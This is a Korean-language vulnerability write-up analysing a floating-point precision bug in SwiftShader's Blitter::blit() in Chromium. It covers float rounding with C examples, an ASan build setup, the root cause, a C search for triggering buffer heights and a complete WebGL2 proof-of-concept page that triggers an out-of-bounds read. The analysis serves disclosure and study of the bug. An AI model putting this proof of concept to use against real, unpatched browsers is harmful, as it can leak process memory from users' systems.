Background
Precision error
프로그래밍 언어에서 limited precision arithmetic operation을 수행할 때 precision error가 발생할 수 있습니다. 실존하는 수는 무한한데 컴퓨터는 제한된 공간에 2진수 형식으로 수를 저장하기 때문에, 실제 프로그래머가 의도한 값과 컴퓨터에 저장되는 값이 달라지는 현상입니다.
대표적인 precision error에는 integer overflow가 있습니다. 4바이트 크기의 int
형 변수는 2 ** 32
가지의 정수만 표현할 수 있는데, 표현 가능한 범위를 넘어가게 되면 overflow가 발생하여 실제 의도한 값과 다른 값이 저장됩니다.
이 글의 버그는 floating-point arithmetic operation에서의 precision error로 인해 발생합니다. 다음의 예시는 floating-point arithmetic operation에서 precision error가 발생하는 코드입니다.
#include <stdio.h>
int main() {
float a = 100000000;
float b = 1;
float c = a + b;
printf("%f\n", c);
}
$ gcc -o float float.c; ./float
100000000.000000
100000000에 1을 더했지만 결과는 그대로 100000000이 나옵니다. float
자료형이 수를 저장하는 방법을 생각해 보면 원인을 알 수 있습니다.
float
은 실수를 저장하는 4바이트 자료형으로, sign 1비트, exponent 8비트, fraction 23비트로 구성되어 있습니다.
a
에 저장된 값을 2진수로 출력해보면 다음과 같습니다.
#include <stdio.h>
int main() {
float a = 100000000;
for (int i = 31; i >= 0; i--) {
if (i == 30 || i == 22)
printf(" ");
printf("%d", (*(int *)(&a) & (1 << i)) >> i);
}
printf("\n");
}
$ gcc -o test test.c; ./test
0 10011001 01111101011110000100000
a
는 2 ** 26
(67,108,864)보다 크고 2 ** 27
(134,217,728)보다 작기 때문에, 1.XXX * (2 ** 26)
의 형태로 표현할 수 있습니다. 따라서 exponent는 26에 bias(127)를 더한 153(10011001
)입니다.
Fraction은 소수점 이하의 XXX
부분을 표현하는데, 23비트이므로 fraction이 1 증가하면 소수부는 2 ** -23
만큼 증가합니다. 여기에 지수부인 2 ** 26
을 곱하면 실제 값은 2 ** 3
(8)만큼 증가합니다. 즉, a
의 값이 변하는 최소 단위는 8이 됩니다.
#include <stdio.h>
void print_bin(float f) {
for (int i = 31; i >= 0; i--) {
if (i == 30 || i == 22)
printf(" ");
printf("%d", (*(int *)(&f) & (1 << i)) >> i);
}
printf("\n");
}
int main() {
float a = 100000000;
float b = a + (float)4;
float c = a + (float)4.1;
printf("%f ", a);
print_bin(a);
printf("%f ", b);
print_bin(b);
printf("%f ", c);
print_bin(c);
}
$ gcc -o float float.c; ./float
100000000.000000 0 10011001 01111101011110000100000
100000000.000000 0 10011001 01111101011110000100000
100000008.000000 0 10011001 01111101011110000100001
a
에 4를 더했을 때는 버려지고, 4.1을 더했을 때는 8이 더해지는 것을 확인할 수 있습니다.
SwiftShader
SwiftShader는 CPU 기반 그래픽 라이브러리입니다. Chromium은 Skia라는 GPU 기반 그래픽 라이브러리를 기본으로 사용하는데, 만약 시스템에 그래픽 드라이버나 하드웨어가 없을 경우에 fallback renderer로 SwiftShader를 사용합니다.
GPU가 있는 시스템에서도 Chromium에 --disable-gpu
옵션을 주고 실행하면 강제로 SwiftShader를 사용하도록 할 수 있습니다.
Analysis
Environment setting
Chromium issue에서 PoC를 테스트한 Chrome 버전을 명시해 두었습니다.
해당 release의 commit hash는 164c37e3f235134c88e80fac2a182cfba3f07f00
입니다. 이 커밋 시점의 Chromium을 ASan을 적용하여 빌드합니다.
OS: Ubuntu 18.04
Hard Disk: 150GB
Memory: 8GB
Processors: 4
mkdir chromium
cd chromium
fetch chromium
cd src
git checkout 164c37e3f235134c88e80fac2a182cfba3f07f00
gclient sync -D
이 커밋 시점에서 install-build-deps.sh
가 Ubuntu 18.04를 지원하지 않기 때문에, dependency들을 수동으로 설치해 줍니다.
sudo apt install -y --reinstall libasound2:i386 libcap2:i386 libelf-dev:i386 libfontconfig1:i386 libglib2.0-0:i386 libgpm2:i386 libgtk2.0-0:i386 libgtk-3-0:i386 libncurses5:i386 libnss3:i386 libpango1.0-0:i386 libpci3:i386 libssl1.1:i386 libssl-dev:i386 libtinfo-dev:i386 libudev1:i386 libxcomposite1:i386 libxcursor1:i386 libxdamage1:i386 libxi6:i386 libxrandr2:i386 libxss1:i386 libxtst6:i386 linux-libc-dev:i386 ant apache2-bin autoconf binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf binutils-mips64el-linux-gnuabi64 binutils-mipsel-linux-gnu bison cdbs cmake curl dbus-x11 devscripts dpkg-dev elfutils fakeroot flex fonts-ipafont g++ g++-7-multilib g++-arm-linux-gnueabihf gawk git-core git-svn g++-mingw-w64-i686 gperf intltool lib32gcc1 lib32ncurses5-dev lib32stdc++6 lib32z1-dev libappindicator1 libappindicator3-1 libappindicator3-dev libappindicator-dev libasound2 libasound2-dev libatk1.0-0 libbluetooth-dev libbrlapi0.6 libbrlapi-dev libbz2-1.0 libbz2-dev libc6 libc6-dbg libc6-dev-armhf-cross libc6-i386 libcairo2 libcairo2-dev libcap2 libcap-dev libcups2 libcups2-dev libcurl4-gnutls-dev libdrm-dev libelf-dev libexpat1 libffi6 libffi6-dbg libffi-dev libfontconfig1 libfreetype6 libgbm-dev libglib2.0-0 libglib2.0-dev libglu1-mesa-dev libgnome-keyring0 libgnome-keyring-dev libgtk2.0-0 libgtk2.0-dev libgtk-3-0 libgtk-3-dev libjpeg-dev libkrb5-dev libnspr4 libnspr4-dbg libnspr4-dev libnss3 libnss3-dbg libnss3-dev libpam0g libpam0g-dev libpango1.0-0 libpci3 libpci-dev libpcre3 libpcre3-dbg libpixman-1-0 libpng16-16 libpulse0 libpulse-dev libsctp-dev libspeechd2 libspeechd-dev libsqlite3-0 libsqlite3-dev libssl-dev libstdc++6 libstdc++6-6-dbg libtinfo-dev libtool libudev1 libudev-dev libwww-perl libx11-6 libx11-xcb1 libxau6 libxau6-dbg libxcb1 libxcomposite1 libxcomposite1-dbg libxcursor1 libxdamage1 libxdmcp6 libxdmcp6-dbg libxext6 libxext6-dbg libxfixes3 libxi6 libxinerama1 libxinerama1-dbg libxkbcommon-dev libxrandr2 libxrender1 libxslt1-dev libxss-dev libxt-dev libxtst6 libxtst-dev linux-libc-dev-armhf-cross locales openbox p7zip patch perl pkg-config python python-cherrypy3 python-crypto python-dev python-numpy python-opencv python-openssl python-psutil python-yaml rpm ruby subversion texinfo ttf-mscorefonts-installer wdiff x11-utils xcompmgr xsltproc xutils-dev xvfb zip zlib1g zlib1g-dbg
third_party/swiftshader/src/Renderer/Blitter.cpp
의 Blitter::blit()
에서, JIT 컴파일을 수행하는 blitReactor()
가 호출되는 부분을 주석 처리합니다.
void Blitter::blit(Surface *source, const SliceRectF &sourceRect, Surface *dest, const SliceRect &destRect, const Blitter::Options& options)
{
if(dest->getInternalFormat() == FORMAT_NULL)
{
return;
}
// if(blitReactor(source, sourceRect, dest, destRect, options))
// {
// return;
// }
...
ASan configuration
gn gen out/asan --args="is_asan=true is_debug=false"
ASan test
ninja -C out/asan base_unittests
out/asan/base_unittests \
--gtest_filter=ToolsSanityTest.DISABLED_AddressSanitizerLocalOOBCrashTest \
--gtest_also_run_disabled_tests
여기서 크래시가 나고 ASan 로그가 뜨면 잘 작동하는 것입니다.
ASan build
ninja -C out/asan chrome
Root cause
Blitting은 하나의 그래픽 컨텍스트에서 다른 그래픽 컨텍스트로 데이터를 복사하는 작업을 의미합니다. Blitter.cpp
는 blitting을 구현한 파일이고, Blitter::blit()
에서 취약점이 발생합니다.
void Blitter::blit(Surface *source, const SliceRectF &sourceRect, Surface *dest, const SliceRect &destRect, const Blitter::Options& options)
{
...
SliceRectF sRect = sourceRect;
SliceRect dRect = destRect;
...
float w = sRect.width() / dRect.width();
float h = sRect.height() / dRect.height();
const float xStart = sRect.x0 + 0.5f * w;
float y = sRect.y0 + 0.5f * h;
for(int j = dRect.y0; j < dRect.y1; j++)
{
float x = xStart;
if (j == dRect.y1 - 1) {
printf("y: %f, expected y: %f, sRect.height(): %f\n", y, sRect.y0 + 0.5f * h + h * (dRect.height() - 1), sRect.height());
}
for(int i = dRect.x0; i < dRect.x1; i++)
{
// FIXME: Support RGBA mask
dest->copyInternal(source, i, j, x, y, options.filter);
x += w;
}
y += h;
}
source->unlockInternal();
dest->unlockInternal();
}
Blitter::blit()
은 sourceRect
(sRect
)에서 destRect
(dRect
)로 비트맵 데이터를 복사하는 함수입니다. x
를 w
씩, y
를 h
씩 증가시키면서, dest->copyInternal()
에서 x
와 y
를 int
로 캐스팅하여 sRect
의 (x, y)
에서 dRect
의 (i, j)
로 데이터를 복사합니다.
void Surface::copyInternal(const Surface *source, int x, int y, float srcX, float srcY, bool filter)
{
...
if(!filter)
{
color = source->internal.read((int)srcX, (int)srcY, 0);
}
...
}
반복문 내부에서, x
, y
, w
, h
가 float
형 변수들이기 때문에 precision error가 발생할 수 있습니다. dest->copyInternal()
에 들어가는 y
의 값과 프로그래머가 의도한 y
의 값이 다를 수 있고, 만약 전자와 후자를 정수로 캐스팅했을 때 전자가 더 크다면 OOB가 발생하여 범위 밖의 값을 읽어오게 됩니다. x
에서도 같은 원리로 OOB가 발생할 수 있지만, y
에서 발생할 경우에 연속적인 메모리를 읽을 수 있기 때문에 더 유용할 것입니다.
PoC
먼저 precision error를 발생시킬 수 있는 sRect.height()
와 dRect.height()
를 찾아야 합니다. y += h
를 dRect.height() - 1
번 반복한 결과를 정수로 캐스팅한 값이, y + h * (dRect.height() - 1)
을 정수로 캐스팅한 값보다 1만큼 커야 합니다. 동시에, 전자는 src_height
보다 크거나 같아야 오버플로우가 발생합니다.
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
int src_height;
int dst_height;
float h;
float y, expected_y;
srand(time(0));
while (1) {
src_height = rand() % 8192;
dst_height = rand() % 8192;
h = (float)src_height / (float)dst_height;
y = 0.5f * h; // assume that sRect.y0 == 0
expected_y = y + h * (dst_height - 1);
for (int j = 0; j < dst_height - 1; j++) {
y += h;
}
if ((int)y == (int)expected_y + 1 && y >= src_height) {
break;
}
}
printf("src_height: %d, dst_height: %d\n", src_height, dst_height);
printf("y: %f, expected_y: %f\n", y, expected_y);
}
src_height
나 dst_height
가 8192보다 클 경우 PoC에서 frame buffer를 생성할 때 ERROR :GL_INVALID_VALUE : glRenderbufferStorage: dimensions too large
에러가 발생할 수 있습니다.
그리고 height가 충분히 크지 않으면 OOB가 발생하더라도 ASan이 overflow로 탐지하지 않는 것 같아서, 적당히 큰 수를 선택해야 합니다.
$ gcc -o find_h find_h.c; ./find_h
src_height: 7904, dst_height: 8003
y: 7904.003418, expected_y: 7903.506348
<!-- poc.html -->
<canvas id="canvas"></canvas>
<script>
let canvas = document.getElementById('canvas');
let gl = canvas.getContext('webgl2');
canvas.width = 8192; // bytes to read through OOB
const src_height = 7904;
const dst_height = 8003;
// source frame buffer
let src_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.FRAMEBUFFER, src_fb);
src_fb.width = canvas.width;
src_fb.height = src_height;
// source pixels
let src_pixels = new Uint8Array(src_fb.width * src_fb.height * 4);
// source texture
src_tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, src_tex);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_fb.width, src_fb.height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_pixels);
gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0);
// destination frame buffer
let dst_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);
dst_fb.width = canvas.width;
dst_fb.height = dst_height;
// destination render buffer
let dst_rb = gl.createRenderbuffer();
gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb);
gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_fb.width, dst_fb.height);
gl.framebufferRenderbuffer(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb);
// blit
gl.blitFramebuffer(
0, 0, src_fb.width, src_fb.height,
0, 0, dst_fb.width, dst_fb.height,
gl.COLOR_BUFFER_BIT, gl.NEAREST
);
// destination pixels
let dst_pixels = new Uint8Array(dst_fb.width * 4);
// OOB read
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb);
gl.readPixels(0, dst_fb.height - 1, dst_fb.width, 1, gl.RGBA, gl.UNSIGNED_BYTE, dst_pixels);
</script>
~/chromium/src/out/asan/chrome --disable-gpu poc.html
References
- Drawing Outside the Box: Precision Issues in Graphic Libraries - Project Zero
- IEEE_754 - Wikipedia
- Issue 1584: Chrome: Floating-point precision errors in Swiftshader blitting
- Issue 848238: Security: Floating-point precision errors in Swiftshader blitting
- ae3d875253f4aef9b5df10887631c5f0453c588e - SwiftShader.git
- WebGLRenderingContext: texImage2D() method
- WebGLRenderingContext: renderbufferStorage() method
- WebGL2RenderingContext: blitFramebuffer() method